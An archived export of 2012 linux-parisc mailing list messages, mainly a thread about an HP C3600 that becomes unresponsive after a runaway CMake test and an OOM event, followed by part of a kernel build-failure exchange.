	id S1750793Ab2JVHlk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Oct 2012 03:41:40 -0400
Original-Received: (qmail 31294 invoked from network); 22 Oct 2012 07:41:37 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:56359 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 22 Oct 2012 09:41:37 +0200
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4646
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4646>

My C3600 runs the CMake nightly builds. Basically this is a master 
process (ctest) that forks other binaries that do the actual tests. 
Afterwards it collects the output. If the child does not respond for 
some time (usually set to 30 minutes) it will get killed by ctest.

Yesterday someone accidentially introduced an endless loop into CMake, 
so some of the called tests will run at 100% CPU load forever. The 
master process was not affected by this, so these childs should have 
eventually got killed. But this did not happen. It did happen on all 
other machines building those tests 
(http://open.cdash.org/index.php?project=CMake&date=2012-10-21, e.g. 
http://open.cdash.org/viewTest.php?onlyfailed&buildid=2621607), but not 
on my machine. And from all what I can tell it does not look as if it is 
a ctest bug, but something in the scheduler or something like that not 
working properly.

$ ping voyager
PING voyager (192.168.2.119) 56(84) bytes of data.
64 bytes from voyager (192.168.2.119): icmp_seq=1 ttl=64 time=0.504 ms
64 bytes from voyager (192.168.2.119): icmp_seq=2 ttl=64 time=0.268 ms
64 bytes from voyager (192.168.2.119): icmp_seq=3 ttl=64 time=0.274 ms

So, the machine is alive and the ping time is ok. Doing ssh to it will 
get stuck for hours (literally). So, sadly, I have currently no way to 
get into userland of the machine. What I know is:

-ssh doesn't work
-kernel is alive
-the machine is very likely running at 100% CPU load from a normal user 
account (with not too excessive RAM usage AFAIK)

So for me it looks like this "userspace is at 100%" does something 
utterly bad to the scheduling, as it seems that no other processes will 
get their chance of running. If ctest would get it's chance it should 
have killed the slave after ~30 minutes, and ssh should definitely work. 
 From what I see on other machines the worst case scenario would be 18 of 
these amok processes, so after ~9 hours the dust should start to clear. 
That would have been nearly 20 hours ago, so something is not working 
there.

Any ideas?

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Mon, 22 Oct 2012 09:27:04 -0400
Lines: 53
Approved: news@gmane.org
Message-ID: <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1350912429 14134 80.91.229.3 (22 Oct 2012 13:27:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2012 13:27:09 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 22 15:27:15 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQI2E-0001jd-Q3
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Oct 2012 15:27:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754108Ab2JVN1G (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Oct 2012 09:27:06 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:60797 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754019Ab2JVN1F (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Oct 2012 09:27:05 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so3531338iea.19
        for <linux-parisc@vger.kernel.org>; Mon, 22 Oct 2012 06:27:04 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=mgPa9r5SSne9jTAKjZpyaVLP3ahnLIXmlJdy4iD3Two=;
        b=GTEiGgnt7OHCCbNR1ox0+y0viGZ3ICh0a8LWHekPjx/fWORz7NTG+B3H50icJvQ2e1
         quJxapHax6Hu81kgYrGz482qZvMxGdK2olBnduhqipZVhHPcVhmMhpUL4M/NICOB0CRo
         aOo69QF30wlERMKzmj68+PR6yFQ1iRJ+E/YNMu/9FUDauZA9GwyobX0keS9b5VUeNawj
         t8/WRZmvIpuHp0UGtNfFl2NhsA4726nDd8p0CPuOHRdCYbIdaO3EVO4UM9+ye7NqMlH/
         OF5viOpL2z3y80eb9mWqDYs4l2kD+hwZtHuX5wZ4gIWCXy5pHygtqwb5j15V9Kl1gz/I
         hu7g==
Original-Received: by 10.50.219.202 with SMTP id pq10mr9204726igc.18.1350912424076;
 Mon, 22 Oct 2012 06:27:04 -0700 (PDT)
Original-Received: by 10.42.210.18 with HTTP; Mon, 22 Oct 2012 06:27:04 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
In-Reply-To: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
X-Gm-Message-State: ALoCoQluLlvg2ecr2d0f1ZDuF96tLMJzNCaGIcomuqf0moptt5SHB8UDaiMIOT8mdrKM8zlAz0aF
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4647
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4647>

On Mon, Oct 22, 2012 at 3:41 AM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
> My C3600 runs the CMake nightly builds. Basically this is a master process
> (ctest) that forks other binaries that do the actual tests. Afterwards it
> collects the output. If the child does not respond for some time (usually
> set to 30 minutes) it will get killed by ctest.
>
> Yesterday someone accidentially introduced an endless loop into CMake, so
> some of the called tests will run at 100% CPU load forever. The master
> process was not affected by this, so these childs should have eventually got
> killed. But this did not happen. It did happen on all other machines
> building those tests
> (http://open.cdash.org/index.php?project=CMake&date=2012-10-21, e.g.
> http://open.cdash.org/viewTest.php?onlyfailed&buildid=2621607), but not on
> my machine. And from all what I can tell it does not look as if it is a
> ctest bug, but something in the scheduler or something like that not working
> properly.
>
> $ ping voyager
> PING voyager (192.168.2.119) 56(84) bytes of data.
> 64 bytes from voyager (192.168.2.119): icmp_seq=1 ttl=64 time=0.504 ms
> 64 bytes from voyager (192.168.2.119): icmp_seq=2 ttl=64 time=0.268 ms
> 64 bytes from voyager (192.168.2.119): icmp_seq=3 ttl=64 time=0.274 ms
>
> So, the machine is alive and the ping time is ok. Doing ssh to it will get
> stuck for hours (literally). So, sadly, I have currently no way to get into
> userland of the machine. What I know is:
>
> -ssh doesn't work
> -kernel is alive
> -the machine is very likely running at 100% CPU load from a normal user
> account (with not too excessive RAM usage AFAIK)
>
> So for me it looks like this "userspace is at 100%" does something utterly
> bad to the scheduling, as it seems that no other processes will get their
> chance of running. If ctest would get it's chance it should have killed the
> slave after ~30 minutes, and ssh should definitely work. From what I see on
> other machines the worst case scenario would be 18 of these amok processes,
> so after ~9 hours the dust should start to clear. That would have been
> nearly 20 hours ago, so something is not working there.
>
> Any ideas?

Get on the serial console and see if you can login?

Then issue a magic-sysrq+t? What's userspace doing?

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Mon, 22 Oct 2012 16:07:15 +0200
Lines: 91
Approved: news@gmane.org
Message-ID: <0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
 <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1350914840 4610 80.91.229.3 (22 Oct 2012 14:07:20 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2012 14:07:20 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 22 16:07:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQIf8-0001d5-NV
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Oct 2012 16:07:27 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754016Ab2JVOHT (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Oct 2012 10:07:19 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:42485 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753871Ab2JVOHS (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Oct 2012 10:07:18 -0400
Original-Received: (qmail 25386 invoked from network); 22 Oct 2012 14:07:15 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:43515 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Mon, 22 Oct 2012 16:07:15 +0200
In-Reply-To: <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4648
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4648>

Am , schrieb Carlos O'Donell:
> On Mon, Oct 22, 2012 at 3:41 AM, Rolf Eike Beer 
> <eike-kernel@sf-tec.de> wrote:
>> My C3600 runs the CMake nightly builds. Basically this is a master 
>> process
>> (ctest) that forks other binaries that do the actual tests. 
>> Afterwards it
>> collects the output. If the child does not respond for some time 
>> (usually
>> set to 30 minutes) it will get killed by ctest.
>>
>> Yesterday someone accidentially introduced an endless loop into 
>> CMake, so
>> some of the called tests will run at 100% CPU load forever. The 
>> master
>> process was not affected by this, so these childs should have 
>> eventually got
>> killed. But this did not happen. It did happen on all other machines
>> building those tests
>> (http://open.cdash.org/index.php?project=CMake&date=2012-10-21, e.g.
>> http://open.cdash.org/viewTest.php?onlyfailed&buildid=2621607), but 
>> not on
>> my machine. And from all what I can tell it does not look as if it 
>> is a
>> ctest bug, but something in the scheduler or something like that not 
>> working
>> properly.
>>
>> $ ping voyager
>> PING voyager (192.168.2.119) 56(84) bytes of data.
>> 64 bytes from voyager (192.168.2.119): icmp_seq=1 ttl=64 time=0.504 
>> ms
>> 64 bytes from voyager (192.168.2.119): icmp_seq=2 ttl=64 time=0.268 
>> ms
>> 64 bytes from voyager (192.168.2.119): icmp_seq=3 ttl=64 time=0.274 
>> ms
>>
>> So, the machine is alive and the ping time is ok. Doing ssh to it 
>> will get
>> stuck for hours (literally). So, sadly, I have currently no way to 
>> get into
>> userland of the machine. What I know is:
>>
>> -ssh doesn't work
>> -kernel is alive
>> -the machine is very likely running at 100% CPU load from a normal 
>> user
>> account (with not too excessive RAM usage AFAIK)
>>
>> So for me it looks like this "userspace is at 100%" does something 
>> utterly
>> bad to the scheduling, as it seems that no other processes will get 
>> their
>> chance of running. If ctest would get it's chance it should have 
>> killed the
>> slave after ~30 minutes, and ssh should definitely work. From what I 
>> see on
>> other machines the worst case scenario would be 18 of these amok 
>> processes,
>> so after ~9 hours the dust should start to clear. That would have 
>> been
>> nearly 20 hours ago, so something is not working there.
>>
>> Any ideas?
>
> Get on the serial console and see if you can login?

Was not possible, but because of something I broke on the other side of 
the serial line (i.e. no fault of the C3600).

> Then issue a magic-sysrq+t? What's userspace doing?

I went down to the machine and it was happily heartbeating as expected 
when the kernel still is able to send out ping replies. I pushed the 
power button and it shut down cleanly in something like half a minute. 
Poweron did work fine.

I see in the logs one OOM event during the CMake tests. Afterwards I 
see for another 10 minutes some nagios events, so it took a while after 
the OOM for the machine to freak out, and things like creating new 
processes was no problem until then.

I have no deeper insight in what happened later beyond what I already 
have written.

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Mon, 22 Oct 2012 10:15:16 -0400
Lines: 33
Approved: news@gmane.org
Message-ID: <CAE2sS1j6Pg6Hks97NCRNmN40vPvVbfZ+h5Y=s7tETOrT7s_FTA@mail.gmail.com>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
	<CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
	<0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1350915323 9448 80.91.229.3 (22 Oct 2012 14:15:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 22 Oct 2012 14:15:23 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: Rolf Eike Beer <eike-kernel@sf-tec.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Oct 22 16:15:29 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQImv-0007Cr-HJ
	for glpp-linux-parisc@plane.gmane.org; Mon, 22 Oct 2012 16:15:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754884Ab2JVOPU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 22 Oct 2012 10:15:20 -0400
Original-Received: from mail-ie0-f174.google.com ([209.85.223.174]:41923 "EHLO
	mail-ie0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754426Ab2JVOPR (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 22 Oct 2012 10:15:17 -0400
Original-Received: by mail-ie0-f174.google.com with SMTP id k13so3617795iea.19
        for <linux-parisc@vger.kernel.org>; Mon, 22 Oct 2012 07:15:17 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-originating-ip:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=sQD0K+uQVtknDh0VCm5DE68QHh7UGiRMLlYcMv1Zets=;
        b=LBY7n1lnqqPCu/Icohxpp6yRx+L0eqDNwNfjVbo5XZ0VJ2HVOclf7AD348zD+/dLi1
         Pr+kEVQ2NdNSzp5f7w+f1ZVRrOiFVOkKNjkNmdVR1me588hl22GaTvuNXccCPYcgErOe
         F8CfqGG7nzPry+AQqijKJeT26KIHkQTtgvVnmQdfneNjGgGEvRF5viz4if2bFeqj7Vvj
         kQkXkhshHOIkKwPwVcuj57O+IUIGjghXiKDtuhVO3v3Ed0ILF0bhNdSUQsU00ymKP2sh
         ac8AnnxxOkJEdGkaWajEVfCQgOAqYwG7g1G6vL/Id7kxb68pmEubmsXPCi8yhwHUB9tH
         NlFQ==
Original-Received: by 10.50.236.99 with SMTP id ut3mr9281388igc.73.1350915316962; Mon,
 22 Oct 2012 07:15:16 -0700 (PDT)
Original-Received: by 10.42.210.18 with HTTP; Mon, 22 Oct 2012 07:15:16 -0700 (PDT)
X-Originating-IP: [67.71.83.60]
In-Reply-To: <0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de>
X-Gm-Message-State: ALoCoQkM3Fsgx42G75z35jMh9RWM9RK0qM+XKrJCFcGw054MJnCy9gBBae1DZ4VQYE7P9Iu04uVT
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4649
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4649>

On Mon, Oct 22, 2012 at 10:07 AM, Rolf Eike Beer <eike-kernel@sf-tec.de> wrote:
>> Get on the serial console and see if you can login?
>
>
> Was not possible, but because of something I broke on the other side of the
> serial line (i.e. no fault of the C3600).
>
>
>> Then issue a magic-sysrq+t? What's userspace doing?
>
>
> I went down to the machine and it was happily heartbeating as expected when
> the kernel still is able to send out ping replies. I pushed the power button
> and it shut down cleanly in something like half a minute. Poweron did work
> fine.
>
> I see in the logs one OOM event during the CMake tests. Afterwards I see for
> another 10 minutes some nagios events, so it took a while after the OOM for
> the machine to freak out, and things like creating new processes was no
> problem until then.
>
> I have no deeper insight in what happened later beyond what I already have
> written.

Without more information it's hard to determine what went wrong.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Machine stuck when userspace 100% busy
Date: Tue, 23 Oct 2012 17:23:41 +0200
Lines: 62
Approved: news@gmane.org
Message-ID: <d61cea15405ee5eb1687d4321aa108aa@sf-mail.de>
References: <35fd660c364b9a45770b17a5bd0ecbaf@sf-mail.de>
 <CAE2sS1jmDauox09o6YNin7c4KCdBEt8FuXRadroFxkfAp_ynvQ@mail.gmail.com>
 <0fe1c205e1be1760e357bcfe4f91f593@sf-mail.de>
 <CAE2sS1j6Pg6Hks97NCRNmN40vPvVbfZ+h5Y=s7tETOrT7s_FTA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8;
 format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351005826 21698 80.91.229.3 (23 Oct 2012 15:23:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 23 Oct 2012 15:23:46 +0000 (UTC)
To: <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Oct 23 17:23:53 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQgKe-000652-Io
	for glpp-linux-parisc@plane.gmane.org; Tue, 23 Oct 2012 17:23:52 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757091Ab2JWPXo (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 23 Oct 2012 11:23:44 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:45423 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757063Ab2JWPXo (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Tue, 23 Oct 2012 11:23:44 -0400
Original-Received: (qmail 22079 invoked from network); 23 Oct 2012 15:23:41 -0000
Original-Received: from mail.sf-mail.de ([::ffff:62.27.20.61]:38581 HELO webmail.sf-mail.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.22svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <linux-parisc@vger.kernel.org>; Tue, 23 Oct 2012 17:23:41 +0200
In-Reply-To: <CAE2sS1j6Pg6Hks97NCRNmN40vPvVbfZ+h5Y=s7tETOrT7s_FTA@mail.gmail.com>
X-Sender: eike-kernel@sf-tec.de
User-Agent: Roundcube Webmail/0.8.2
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4651
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4651>

Am , schrieb Carlos O'Donell:
> On Mon, Oct 22, 2012 at 10:07 AM, Rolf Eike Beer 
> <eike-kernel@sf-tec.de> wrote:
>>> Get on the serial console and see if you can login?
>>
>>
>> Was not possible, but because of something I broke on the other side 
>> of the
>> serial line (i.e. no fault of the C3600).
>>
>>
>>> Then issue a magic-sysrq+t? What's userspace doing?
>>
>>
>> I went down to the machine and it was happily heartbeating as 
>> expected when
>> the kernel still is able to send out ping replies. I pushed the 
>> power button
>> and it shut down cleanly in something like half a minute. Poweron 
>> did work
>> fine.
>>
>> I see in the logs one OOM event during the CMake tests. Afterwards I 
>> see for
>> another 10 minutes some nagios events, so it took a while after the 
>> OOM for
>> the machine to freak out, and things like creating new processes was 
>> no
>> problem until then.
>>
>> I have no deeper insight in what happened later beyond what I 
>> already have
>> written.
>
> Without more information it's hard to determine what went wrong.

Ok, this is the way I can reproduce it:

git clone git://cmake.org/cmake.git
cd cmake
git checkout cb4bff9882ecb7dbd674cc9d97ac5cd42248f0dc
mkdir build
cd build
cmake ..
make
ctest

The test RunCMake.ObjectLibrary (208 of 253 for me) will then hang the 
machine. It will not hang the machine when run on it's own.

Kernel: 3.6.2
glibc: GNU C Library stable release version 2.14.1, by Roland McGrath 
et al.
RAM: 512 MiB
Swap: 2GiB

Eike
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Jean Delvare <khali@linux-fr.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [jdelvare-staging:i2c-for-linus 9/15] 
 drivers/leds/leds-tca6507.c:179:20: error: field 'gpio' has incomplete type
Date: Wed, 24 Oct 2012 11:07:06 +0200
Lines: 21
Approved: news@gmane.org
Message-ID: <20121024110706.69282b16@endymion.delvare>
References: <20121016055829.GA31864@localhost>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1351069639 14782 80.91.229.3 (24 Oct 2012 09:07:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2012 09:07:19 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Fengguang Wu <fengguang.wu@intel.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 24 11:07:27 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQwvs-00043X-V4
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Oct 2012 11:07:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S934489Ab2JXJHR (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Oct 2012 05:07:17 -0400
Original-Received: from zoneX.GCU-Squad.org ([194.213.125.0]:28085 "EHLO
	services.gcu-squad.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S934488Ab2JXJHP (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Oct 2012 05:07:15 -0400
Original-Received: from jdelvare.pck.nerim.net ([62.212.121.182] helo=endymion.delvare)
	by services.gcu-squad.org (GCU Mailer Daemon) with esmtpsa id 1TQwvf-0001i0-PH
	(TLSv1:AES128-SHA:128)
	(envelope-from <khali@linux-fr.org>)
	; Wed, 24 Oct 2012 11:07:12 +0200
In-Reply-To: <20121016055829.GA31864@localhost>
X-Mailer: Claws Mail 3.7.10 (GTK+ 2.24.7; x86_64-suse-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4652 gmane.linux.kernel.janitors:26691
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4652>

Hi Fengguang,

On Tue, 16 Oct 2012 13:58:29 +0800, Fengguang Wu wrote:
> FYI, kernel build failed on
> 
> tree:   git://git.kernel.org/pub/scm/linux/kernel/git/jdelvare/staging.git i2c-for-linus
> head:   c415b303a704e5c5f766fc0404093910c36cc4ab
> commit: 3ad7ea18ae8c7ddda46b7276e0bda73e707ea9c1 [9/15] i2c-i801: Support SMBus multiplexing on Asus Z8 series
> config: parisc-allyesconfig # make ARCH=parisc allyesconfig

Can you please confirm that this problem is fixed in linux-next now? If
it is OK I'll send the fix to Linus quickly.

Thanks,
-- 
Jean Delvare
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:08:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Fengguang Wu <fengguang.wu@intel.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.janitors
Subject: Re: [jdelvare-staging:i2c-for-linus 9/15]
 drivers/leds/leds-tca6507.c:179:20: error: field 'gpio' has incomplete type
Date: Wed, 24 Oct 2012 17:11:02 +0800
Lines: 25
Approved: news@gmane.org
Message-ID: <20121024091102.GA2241@localhost>
References: <20121016055829.GA31864@localhost>
 <20121024110706.69282b16@endymion.delvare>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1351069871 16875 80.91.229.3 (24 Oct 2012 09:11:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Oct 2012 09:11:11 +0000 (UTC)
Cc: kernel-janitors@vger.kernel.org,
	Parisc List <linux-parisc@vger.kernel.org>
To: Jean Delvare <khali@linux-fr.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Oct 24 11:11:19 2012
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1TQwzb-00076s-0z
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Oct 2012 11:11:15 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754321Ab2JXJLG (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Oct 2012 05:11:06 -0400
